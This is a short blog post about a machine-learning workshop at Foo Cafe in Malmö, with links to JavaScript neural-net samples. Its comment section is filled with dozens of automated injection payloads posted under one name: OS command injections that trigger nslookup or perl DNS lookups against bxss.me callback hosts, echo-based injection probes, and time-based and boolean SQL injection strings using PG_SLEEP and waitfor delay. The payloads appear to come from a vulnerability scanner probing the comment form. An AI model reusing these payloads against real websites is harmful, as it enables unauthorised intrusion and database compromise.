The neuron WS
The 16:th of Jun we had our first workshop at Foo Cafe in Malmö.
The goal of the workshop is to cover topics that is of interest to the participants and anyone can sign up to present a topic at one of our workshops. The topic may range from technologies like Neural nets, SVM's, Linear regression and Genetic programming to applications like Image recognition, Speech, Advanced analytics, and other similar topics.
The aim is that there should be a short 10 to 15 minutes introduction followed by some samples that everyone can run from their own computers and play around with during the majority of the workshop. We then finish of by discussing what practical applications this specific sample can be applied for and what findings we have made during the workshop.
This first event was for all developers that are more into code then math and want to learn more about ML. Johan has created a small JavaScript sample of a neural net that I will explain in more detail and then we can play around with the code, to see what this small network of neurons can do for us. Here you can find the samples we are going to play with.
http://www.johanbroddfelt.se/neural_net_in_javascript-33
http://www.johanbroddfelt.se/rock_scissor_paper_neural_net-55
http://www.johanbroddfelt.se/noughts_and_crosses_neural_net_version-40
So how did it go?
We did not get to play too much with the code this time, Johan had a litle bit too much to show and there were many questions along the way. So we will try to make the samples smaller in the future and perhaps we will revisit one or two of these javascript samples another time.
-
Johan Broddfelt
Neural net, JavaScript
Comment
Comments
69 posts found`(nslookup hithppihqdoxe73e87.bxss.me||perl -e "gethostbyname('hithppihqdoxe73e87.bxss.me')")`
2026-06-11 03:53:03 - zFPWdwPk
|(nslookup hitnwvndiyyyt7ae75.bxss.me||perl -e "gethostbyname('hitnwvndiyyyt7ae75.bxss.me')")
2026-06-11 03:53:02 - zFPWdwPk
&(nslookup hitttogqiibkh7b2c8.bxss.me||perl -e "gethostbyname('hitttogqiibkh7b2c8.bxss.me')")&'"`0&(nslookup hitttogqiibkh7b2c8.bxss.me||perl -e "gethostbyname('hitttogqiibkh7b2c8.bxss.me')")&`'
2026-06-11 03:53:01 - zFPWdwPk
$(nslookup hitfpgvxwtukm2e37e.bxss.me||perl -e "gethostbyname('hitfpgvxwtukm2e37e.bxss.me')")
2026-06-11 03:53:00 - zFPWdwPk
(nslookup hitaweyogbyyv3ab1f.bxss.me||perl -e "gethostbyname('hitaweyogbyyv3ab1f.bxss.me')")
2026-06-11 03:52:58 - zFPWdwPk
|echo vufgnk$() wshkvcnz^xyu||a #' |echo vufgnk$() wshkvcnz^xyu||a #|" |echo vufgnk$() wshkvcnz^xyu||a #
2026-06-11 03:52:55 - zFPWdwPk
&echo drgfga$() aqvexdnz^xyu||a #' &echo drgfga$() aqvexdnz^xyu||a #|" &echo drgfga$() aqvexdnz^xyu||a #
2026-06-11 03:52:53 - zFPWdwPk
echo zwxnay$() nhnwejnz^xyu||a #' &echo zwxnay$() nhnwejnz^xyu||a #|" &echo zwxnay$() nhnwejnz^xyu||a #
2026-06-11 03:52:52 - zFPWdwPk
;(nslookup hitcbqgpnieth8b56c.bxss.me||perl -e "gethostbyname('hitcbqgpnieth8b56c.bxss.me')")|(nslookup hitcbqgpnieth8b56c.bxss.me||perl -e "gethostbyname('hitcbqgpnieth8b56c.bxss.me')")&(nslookup hitcbqgpnieth8b56c.bxss.me||perl -e "gethostbyname('hitcbqgpnieth8b56c.bxss.me')")
2026-06-11 03:47:38 - zFPWdwPk
`(nslookup hitlvrlrvutfud012f.bxss.me||perl -e "gethostbyname('hitlvrlrvutfud012f.bxss.me')")`
2026-06-11 03:47:35 - zFPWdwPk
|(nslookup hitxlxhyzmbxp3f212.bxss.me||perl -e "gethostbyname('hitxlxhyzmbxp3f212.bxss.me')")
2026-06-11 03:47:33 - zFPWdwPk
&(nslookup hiteskwkyjgrzc13aa.bxss.me||perl -e "gethostbyname('hiteskwkyjgrzc13aa.bxss.me')")&'"`0&(nslookup hiteskwkyjgrzc13aa.bxss.me||perl -e "gethostbyname('hiteskwkyjgrzc13aa.bxss.me')")&`'
2026-06-11 03:47:33 - zFPWdwPk
$(nslookup hitxvxmrmdumy5bb9c.bxss.me||perl -e "gethostbyname('hitxvxmrmdumy5bb9c.bxss.me')")
2026-06-11 03:47:32 - zFPWdwPk
(nslookup hitipklufgkpj0cfc1.bxss.me||perl -e "gethostbyname('hitipklufgkpj0cfc1.bxss.me')")
2026-06-11 03:47:32 - zFPWdwPk
|echo cvejar$() ajzlasnz^xyu||a #' |echo cvejar$() ajzlasnz^xyu||a #|" |echo cvejar$() ajzlasnz^xyu||a #
2026-06-11 03:47:30 - zFPWdwPk
&echo eshnwa$() hxhshgnz^xyu||a #' &echo eshnwa$() hxhshgnz^xyu||a #|" &echo eshnwa$() hxhshgnz^xyu||a #
2026-06-11 03:47:30 - zFPWdwPk
echo pguttz$() ilabionz^xyu||a #' &echo pguttz$() ilabionz^xyu||a #|" &echo pguttz$() ilabionz^xyu||a #
2026-06-11 03:47:28 - zFPWdwPk
FYoMxJpq')) OR 187=(SELECT 187 FROM PG_SLEEP(12))--
2026-06-11 03:47:28 - zFPWdwPk
ysJY59hC') OR 640=(SELECT 640 FROM PG_SLEEP(12))--
2026-06-11 03:47:26 - zFPWdwPk
5DWthBry' OR 606=(SELECT 606 FROM PG_SLEEP(12))--
2026-06-11 03:47:24 - zFPWdwPk
-1)) OR 506=(SELECT 506 FROM PG_SLEEP(12))--
2026-06-11 03:47:21 - zFPWdwPk
-5) OR 214=(SELECT 214 FROM PG_SLEEP(12))--
2026-06-11 03:47:16 - zFPWdwPk
-5 OR 486=(SELECT 486 FROM PG_SLEEP(12))--
2026-06-11 03:47:14 - zFPWdwPk
mdqrJqYV'; waitfor delay '0:0:12' --
2026-06-11 03:47:09 - zFPWdwPk
1 waitfor delay '0:0:12' --
2026-06-11 03:47:06 - zFPWdwPk
-1); waitfor delay '0:0:12' --
2026-06-11 03:47:03 - zFPWdwPk
-1; waitfor delay '0:0:12' --
2026-06-11 03:46:59 - zFPWdwPk
YwAp8RF9')) OR 161=(SELECT 161 FROM PG_SLEEP(12))--
2026-06-11 03:46:50 - zFPWdwPk
71JV9Ulz') OR 39=(SELECT 39 FROM PG_SLEEP(12))--
2026-06-11 03:46:47 - zFPWdwPk
fjiJHUf5' OR 931=(SELECT 931 FROM PG_SLEEP(12))--
2026-06-11 03:46:43 - zFPWdwPk
-1" OR 3+153-153-1=0+0+0+1 --
2026-06-11 03:46:41 - zFPWdwPk
-1)) OR 176=(SELECT 176 FROM PG_SLEEP(12))--
2026-06-11 03:46:39 - zFPWdwPk
-1" OR 2+153-153-1=0+0+0+1 --
2026-06-11 03:46:38 - zFPWdwPk
-5) OR 312=(SELECT 312 FROM PG_SLEEP(12))--
2026-06-11 03:46:37 - zFPWdwPk
-5 OR 948=(SELECT 948 FROM PG_SLEEP(12))--
2026-06-11 03:46:34 - zFPWdwPk
hmMmoaJp'; waitfor delay '0:0:12' --
2026-06-11 03:46:33 - zFPWdwPk
1 waitfor delay '0:0:12' --
2026-06-11 03:46:32 - zFPWdwPk
-1); waitfor delay '0:0:12' --
2026-06-11 03:46:31 - zFPWdwPk
-1; waitfor delay '0:0:12' --
2026-06-11 03:46:30 - zFPWdwPk
-1" OR 3*2>(0+5+194-194) --
2026-06-11 03:46:18 - zFPWdwPk
-1" OR 3*2<(0+5+194-194) --
2026-06-11 03:46:16 - zFPWdwPk
-1" OR 3+194-194-1=0+0+0+1 --
2026-06-11 03:46:12 - zFPWdwPk
-1" OR 2+194-194-1=0+0+0+1 --
2026-06-11 03:46:11 - zFPWdwPk
-1' OR 3*2>(0+5+484-484) or '6631DQID'='
2026-06-11 03:46:08 - zFPWdwPk
-1" OR 2+153-153-1=0+0+0+1 --
2026-06-11 03:46:08 - zFPWdwPk
-1' OR 3*2<(0+5+484-484) or '6631DQID'='
2026-06-11 03:46:07 - zFPWdwPk
-1' OR 3+484-484-1=0+0+0+1 or '6631DQID'='
2026-06-11 03:46:06 - zFPWdwPk
-1' OR 2+484-484-1=0+0+0+1 or '6631DQID'='
2026-06-11 03:46:05 - zFPWdwPk
-1' OR 3+491-491-1=0+0+0+1 or 'C99aXKfU'='
2026-06-11 03:46:05 - zFPWdwPk
-1' OR 3*2>(0+5+965-965) --
2026-06-11 03:46:04 - zFPWdwPk
-1' OR 3*2<(0+5+965-965) --
2026-06-11 03:46:03 - zFPWdwPk
-1' OR 2+491-491-1=0+0+0+1 or 'C99aXKfU'='
2026-06-11 03:46:03 - zFPWdwPk
-1' OR 3+965-965-1=0+0+0+1 --
2026-06-11 03:46:01 - zFPWdwPk
-1' OR 2+965-965-1=0+0+0+1 --
2026-06-11 03:46:00 - zFPWdwPk
-1' OR 3+582-582-1=0+0+0+1 --
2026-06-11 03:46:00 - zFPWdwPk
-1 OR 3*2>(0+5+197-197)
2026-06-11 03:46:00 - zFPWdwPk
-1 OR 3*2<(0+5+197-197)
2026-06-11 03:45:58 - zFPWdwPk
-1' OR 2+582-582-1=0+0+0+1 --
2026-06-11 03:45:58 - zFPWdwPk
-1 OR 3+197-197-1=0+0+0+1
2026-06-11 03:45:57 - zFPWdwPk
-1 OR 3+675-675-1=0+0+0+1
2026-06-11 03:45:56 - zFPWdwPk
-1 OR 2+197-197-1=0+0+0+1
2026-06-11 03:45:55 - zFPWdwPk
-1 OR 2+675-675-1=0+0+0+1
2026-06-11 03:45:55 - zFPWdwPk
-1 OR 3*2>(0+5+119-119) --
2026-06-11 03:45:54 - zFPWdwPk
-1 OR 3*2<(0+5+119-119) --
2026-06-11 03:45:54 - zFPWdwPk
-1 OR 3+119-119-1=0+0+0+1 --
2026-06-11 03:45:53 - zFPWdwPk
-1 OR 3+688-688-1=0+0+0+1 --
2026-06-11 03:45:52 - zFPWdwPk
-1 OR 2+119-119-1=0+0+0+1 --
2026-06-11 03:45:51 - zFPWdwPk
-1 OR 2+688-688-1=0+0+0+1 --
2026-06-11 03:45:51 - zFPWdwPk
;(nslookup hitgvstskusyj6f691.bxss.me||perl -e "gethostbyname('hitgvstskusyj6f691.bxss.me')")|(nslookup hitgvstskusyj6f691.bxss.me||perl -e "gethostbyname('hitgvstskusyj6f691.bxss.me')")&(nslookup hitgvstskusyj6f691.bxss.me||perl -e "gethostbyname('hitgvstskusyj6f691.bxss.me')")
2026-06-11 03:53:06 - zFPWdwPk